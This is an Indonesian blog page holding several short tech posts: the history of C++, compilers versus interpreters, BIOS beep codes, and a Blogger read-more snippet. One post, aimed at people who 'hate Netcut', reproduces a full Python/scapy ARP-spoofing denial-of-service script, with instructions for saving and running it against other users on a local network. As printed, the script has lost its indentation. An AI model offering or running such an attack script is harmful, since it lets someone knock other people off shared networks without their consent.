Sejarah perkembangan Bahasa C++


Pada tahun 1978, Brian W. Kerninghan & Dennis M. Ritchie dari AT & T Laboratories mengembangkan bahasa B menjadi bahasa C. Bahasa B yang diciptakan oleh Ken Thompson sebenarnya merupakan pengembangan dari bahasa BCPL ( Basic Combined ProgrammingLanguage ) yang diciptakan oleh Martin Richard.
Sejak tahun 1980, bahasa C banyak digunakan pemrogram di Eropa yang sebelumnya menggunakan bahasa B dan BCPL. Dalam perkembangannya, bahasa C menjadi bahasa paling populer diantara bahasa lainnya, seperti PASCAL, BASIC, FORTRAN.
Tahun 1989, dunia pemrograman C mengalami peristiwa penting dengan dikeluarkannya standar bahasa C oleh American National Standards Institute (ANSI). Bahasa C yang diciptakan Kerninghan & Ritchie kemudian dikenal dengan nama ANSI C.
Mulai awal tahun 1980, Bjarne Stroustrup dari AT & T Bell Laboratories mulai mengembangkan bahasa C. Pada tahun 1985, lahirlah secara resmi bahasa baru hasil pengembangan C yang dikenal dengan nama C++. Sebenarnya bahasa C++ mengalami dua tahap evolusi. C++ yang pertama, dirilis oleh AT&T Laboratories, dinamakan cfront. C++ versi kuno ini hanya berupa kompiler yang menterjemahkan C++ menjadi bahasa C.
Pada evolusi selanjutnya, Borland International Inc. mengembangkan kompiler C++ menjadi sebuah kompiler yang mampu mengubah C++ langsung menjadi bahasa mesin (assembly). Sejak evolusi ini, mulai tahun 1990 C++ menjadi bahasa berorientasi obyek yang digunakan oleh sebagian besar pemrogram professional.
Referensi
1. Bjarne Stroustrup, “The C++ Programming Language”, 3rd edition, Addison-Wesley 1997
2. Scott Meyers,”Effective C++”, 2nd edition, Addison-Wesley
3. Scott Meyers,”More Effective C++”, Addison-Wesley
4. Q&A dalam C/C++ Users Journal.
5. GOF,”Design Pattern”, Addison-Wesley.
Read more »
These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • Sphinn
  • del.icio.us
  • Facebook
  • Mixx
  • Google
  • Furl
  • Reddit
  • Spurl
  • StumbleUpon
  • Technorati

Pengertian Compiler dengan Interpreter


 disini kita akan membahas tentang pengertiannya dan perbedaanya setelah saya mendapatkan tugas untuk mencari pengertianya,,


Interpreter adalah perangkat lunak yang mampu mengeksekusi code program (yang ditulis oleh programmer) lalu menterjemahkannya ke dalam bahasa mesin, sehingga mesin melakukan instruksi yang diminta oleh programmer tersebut. Perintah-perintah yang dibuat oleh programmer tersebut dieksekusi baris demi baris, sambil mengikuti logika yang terdapat di dalam kode tersebut. Proses ini sangat berbeda dengan compiler, dimana pada compiler, hasilnya sudah langsung berupa satu kesatuan perintah dalam bentuk bahasa mesin, dimana proses penterjemahan dilaksanakan sebelum program tersebut dieksekusi.


Sedangkan Compiler sendiri adalah program sistem yang digunakan sebagai alat bantu dalam pemrogaman.Perangkat lunak yang melakukan proses penterjemahan code (yang dibuat programmer) ke dalam bahasa mesin. Hasil dari terjemahan ini adalah bahasa mesin. Pada beberapa compiler, output berupa bahasa mesin dilaksanakan dengan proses assembler yang berbeda.

Untuk lebih jelas mengenai perbedaan antara Interpreter dengan Compiler, ada baiknya saya jelaskan lebih terperinci mengenai dua hal ini.
1. Jika hendak menjalankan program hasil kompilasi dapat dilakukan tanpa butuh kode sumber. Kalau interpreter butuh kode sumber.
2. Jika dengan kompiler, maka pembuatan kode yang bisa dijalankan mesin dilakukan dalam 2 tahap terpisah, yaitu parsing ( pembuatan kode objek ) dan linking ( penggabungan kode objek dengan library ) . Kalau interpreter tidak ada proses terpisah.
3. JIka compiler membutuhkan linker untuk menggabungkan kode objek dengan berbagai macam library demi menghasilkan suatu kode yang bisa dijalankan oleh mesin. Kalau interpreter tidak butuh linker untuk menggabungkan kode objek dengan berbagai macam library.
4. Interpreter cocok untuk membuat / menguji coba modul ( sub-routine / program-program kecil ). Maka compiler agak repot karena untuk mengubah suatu modul / kode objek kecil, maka harus dilakukan proses linking / penggabungan kembali semua objek dengan library yang diperlukan.
5. Pada kompiler bisa dilakukan optimisasi / peningkatan kualitas kode yang bisa dijalankan. Ada yang dioptimasi supaya lebih cepat, ada yang supaya lebih kecil, ada yang dioptimasi untuk sistem dengan banyak processor. Kalau interpreter susah atau bahkan tidak bisa dioptimasikan.
Read more »
These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • Sphinn
  • del.icio.us
  • Facebook
  • Mixx
  • Google
  • Furl
  • Reddit
  • Spurl
  • StumbleUpon
  • Technorati

script buat nyerang pengguna netcut memakai [ ubuntu ]

buat yang benci ama netcut,,,,ini dia caranya nyerang orang yang memakai software netcut


copy script di bawah ini,,,dan save dengan extensi .py    ex: [kill.py]
#!/usr/bin/env python
#Exploit Title: Netcut Denial of Service Vulnerability
#Author: MaYaSeVeN
#Greetz: Inj3ct0r 1337day Exploit DataBase (1337day.com)
#Blog: http://mayaseven.blogspot.com
#PoC: Video  http://www.youtube.com/user/mayaseven
#Picture http://3.bp.blogspot.com/-GcwpOXx7ers/TwGVoyj8SmI/AAAAAAAAAxs/wSGL1tKGflc/s1600/a.png
#Version: Netcut 2
#Software Link: http://www.mediafire.com/?jiiyq2wcpp41266
#Tested on: Windows Xp, Windows 7
#Greetz :  ZeQ3uL, c1ph3r, x-c0d3, p3lo, Retool2, Gen0TypE, Windows98SE, Sumedt, Rocky Sharma
from scapy.all import sniff,Ether,ARP,RandIP,RandMAC,Padding,sendp,conf
import commands,os,sys
#gw_mac = commands.getoutput(“arp -i %s | grep %s” % (conf.iface,conf.iface)).split()[2]
gw_ip  = commands.getoutput(“ip route list | grep default”).split()[2]
def protect(gw_ip,gw_mac):
os.popen(“arp -s %s %s” %(gw_ip,gw_mac))
print “Protected himself”
def detect():
ans = sniff(filter=’arp’,timeout=7)
target=[]
for r in ans.res:
target.append(r.sprintf(“%ARP.pdst% %ARP.hwsrc% %ARP.psrc%”))
return target
def preattack(gw_ip):
num = []
count = 0
target = 0
temp = 0
print “Detecting…”
d = detect()
for i in range(len(d)):
if d[i].split()[0] == “255.255.255.255″:
num.append(d.count(d[i]))
if d.count(d[i]) > count:
count = d.count(d[i])
target = i
if d[i].split()[0] == gw_ip:
temp += 1
if len(d) < 7:
print “[-] No one use Netcut or try again”
exit()
if len(num)*7 < temp:
num[:] = []
count = 0
result = float(temp)/len(d)*100
for j in range(len(d)):
if d[i].split()[0] == gw_ip:
num.append(d.count(d[j]))
if d.count(d[i]) > count:
count = d.count(d[i])
target = i
num.reverse()
result = float(temp)/len(d)*100
print target
else:
num.reverse()
result = float(num[0]+temp)/len(d)*100
print “There is a possibility that ” + str(result) + “%”
if result>= 50:
target_mac = d[target].split()[1]
target_ip = d[target].split()[2]
print “[+]Detected, Netcut using by IP %s MAC %s” %(target_ip,target_mac)
attack(target_mac,target_ip,gw_ip)
else:
print “[-] No one use Netcut or try again”
def attack(target_mac,target_ip,gw_ip):
print “[+]Counter Attack !!!”
e = Ether(dst=”FF:FF:FF:FF:FF:FF”)
while 1:
a = ARP(psrc=RandIP(),pdst=RandIP(),hwsrc=RandMAC(),hwdst=RandMAC(),op=1)
p = e/a/Padding(“\x00″*18)
sendp(p,verbose=0)
a1 = ARP(psrc=gw_ip,pdst=target_ip,hwsrc=RandMAC(),hwdst=target_mac,op=2)
p1 = e/a1/Padding(“\x00″*18)
sendp(p1,verbose=0)
if __name__ == ‘__main__’:
os.system(“clear”)
print   “###################################################”
print   ” __  __        __       __     _____   __        __  _   _”
print   “|  \/  |   \ \   / /   / ____|  \ \    / / | \ | |”
print   “| \  / | __ \ \_/ /_ _| (___   __\ \  / /__|  \| |”
print   “| |\/| |/ _\ \   / _\ |\___ \ / _ \ \/ / _ \ . \ |”
print   “| |  | | (_| || | (_| |____) |  __/\  /  __/ |\  |”
print   “|_|  |_|\__,_||_|\__,_|_____/ \___| \/ \___|_| \_|”
print   ” ”
print   “###################################################”
print   “”
print   “http://mayaseven.blogspot.com”
print   “”
if len(sys.argv) == 2 or len(sys.argv) == 3:
if len(sys.argv) == 2:
conf.iface=sys.argv[1]
preattack(gw_ip)
if len(sys.argv) == 3:
conf.iface=sys.argv[1]
gw_mac = sys.argv[2]
protect(gw_ip,gw_mac)
preattack(gw_ip)
else:
print ”’Mode:
1.)Attack only
Usage: NetcutKiller <Interface>
e.g. NetcutKiller.py wlan0
2.)Attack with protect himself
Usage: NetcutKiller <Interface> <MAC_Gateway>
e.g. NetcutKiller.py wlan0 00:FA:77:AA:BC:AF
”’

setelah di simpan,,,,,install dulu python dan scappy nya


#apt-get install python-scappy

setelah itu anda masuk ke direktori dimana anda menyimpan script tersebut.,,dan jalankan scriptnya..

contoh script saya simpan di home/ifan

#cd /home/ifan
perintah untuk menjalankan + cek dulu mac address anda,,,dengan perintah ifconfig

 jika  anda menggunakan wireless lan
#python kill.py wlan0 24-EC-99-37-BC-56

jika anda menggunakan LAN
#python kill.py eth0 04-7D-7B-D7-A9-13


selamat mencoba.....



Read more »
These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • Sphinn
  • del.icio.us
  • Facebook
  • Mixx
  • Google
  • Furl
  • Reddit
  • Spurl
  • StumbleUpon
  • Technorati

Video konfigurasi Debian 6, DNS-WEB-FTP-MAIL-HTTPS-FTPS-SHOREWAL



kali ini saya akan share tentang konfigurasi Debian 6 server dalam bentuk video,,,,
langsung saja download 4 part di bawah ini....

Part 1
Part 2
Part 3
Part 4










download semua file & jionkan part1 dengan hjsplit
Read more »
These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • Sphinn
  • del.icio.us
  • Facebook
  • Mixx
  • Google
  • Furl
  • Reddit
  • Spurl
  • StumbleUpon
  • Technorati

auto readmore pada blogger

Langkah install auto readmore ini !


>>  login ke akun blogger anda
>>  Pilih tata letak ( Rancangan )
>>  pilih edit html
>>  Centang Expand Template Widget
>> Cari kode </head> dan letakkan script di bawah ini persis di atas kode </head>

  1. <script type='text/javascript'>  
  2. var thumbnail_mode = &quot;float&quot; ;  
  3. summary_noimg = 230;  
  4. summary_img = 140;  
  5. img_thumb_height = 100;  
  6. img_thumb_width = 100;  
  7. </script>  
  8. <script src='http://keerthiset2.110mb.com/excerpt.js' type='text/javascript'/>  


>> angka-angka di atas dapat dirubah sesuai selera.
>> Cari kode berikut: <data:post.body/> dan hapus, gantikan dengan script di bawah ini

  1. <b:if cond='data:blog.pageType == &quot;item&quot;'>  
  2. <data:post.body/>  
  3. <b:else/>  
  4. <div expr:id='&quot;summary&quot; + data:post.id'>  
  5. <data:post.body/>  
  6. </div>  
  7. <script type='text/javascript'>  
  8. createSummaryAndThumb(&quot;summary<data:post.id/>&quot;);  
  9. </script>  
  10. <div style='clear: both;'/>  
  11. <span style='padding-top:5px;;float:right;text-align:right;'><a expr:href='data:post.url' rel='bookmark'><b>Reade more >></b></a></span>  
  12. </b:if>  



>> simpan template
Read more »
These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • Sphinn
  • del.icio.us
  • Facebook
  • Mixx
  • Google
  • Furl
  • Reddit
  • Spurl
  • StumbleUpon
  • Technorati

kode beep pada BIOS PC / LAPTOP


Diagnosa PC

Kode beep Award BIOS
NO
Gejala
Diagnosa / Peringatan kesalahan
1
1 beep pendek
PC dalam keadaan baik
2
1 beep panjang
Problem di memori
3
1 beep panjang, 2 beep pendek
Kerusakan di modul DRAM parity
4
1 beep panjang, 3 beep pendek
Kerusakan di bagian VGA
5
Beep terus menerus
Kerusakan di modul memori / memori video




Kode beep AMI BIOS
NO
Gejala
Diagnosa / Peringatan kesalahan
1
1 beep pendek
DRAM gagal merefresh
2
2 beep pendek
Sirkuit gagal mengecek keseimbangan DRAM parity (system memory)
3
3 beep pendek
Bios gagal mengakses memori 64 kb pertama
4
4 beep pendek
Timer pada sistem gagal bekerja
5
5 beep pendek
Mainboard tidak dapat menjalankan processor
6
6 beep pendek
Controller pada keyboard tidak dapat berjalan dengan baik
7
7 beep pendek
Video mode error
8
8 beep pendek
Tes memory VGA gagal
9
9 beep pendek
Checkstrum error, ROM Bios bermasalah
10
10 beep pendek
CMOS shutdown read / write mengalami error
11
11 beep pendek
Cache memory error
12
1 beep panjang, 3 beep pendek
Conventional / extended memori rusak
13
1 beep panjang 8 beep pendek
Tes tampilan gambar gagal




Kode beep IBM Bios
NO
Gejala
Diagnosa / Peringatan kesalahan
1
Tidak ada beep
Powersuply rusak, VGA / RAM tidak terpasang
2
1 beep pendek
Normal post & PC dalam keadaan baik
3
Beep terus menerus
Power supply rusak, VGA / RAM tidak terpasang
4
Beep berulang-ulang
Power supply rusak, VGA / RAM tidak terpasang
5
1 beep panjang, 1 beep pendek
Masalah pada Mainboard




Read more »
These icons link to social bookmarking sites where readers can share and discover new web pages.
  • Digg
  • Sphinn
  • del.icio.us
  • Facebook
  • Mixx
  • Google
  • Furl
  • Reddit
  • Spurl
  • StumbleUpon
  • Technorati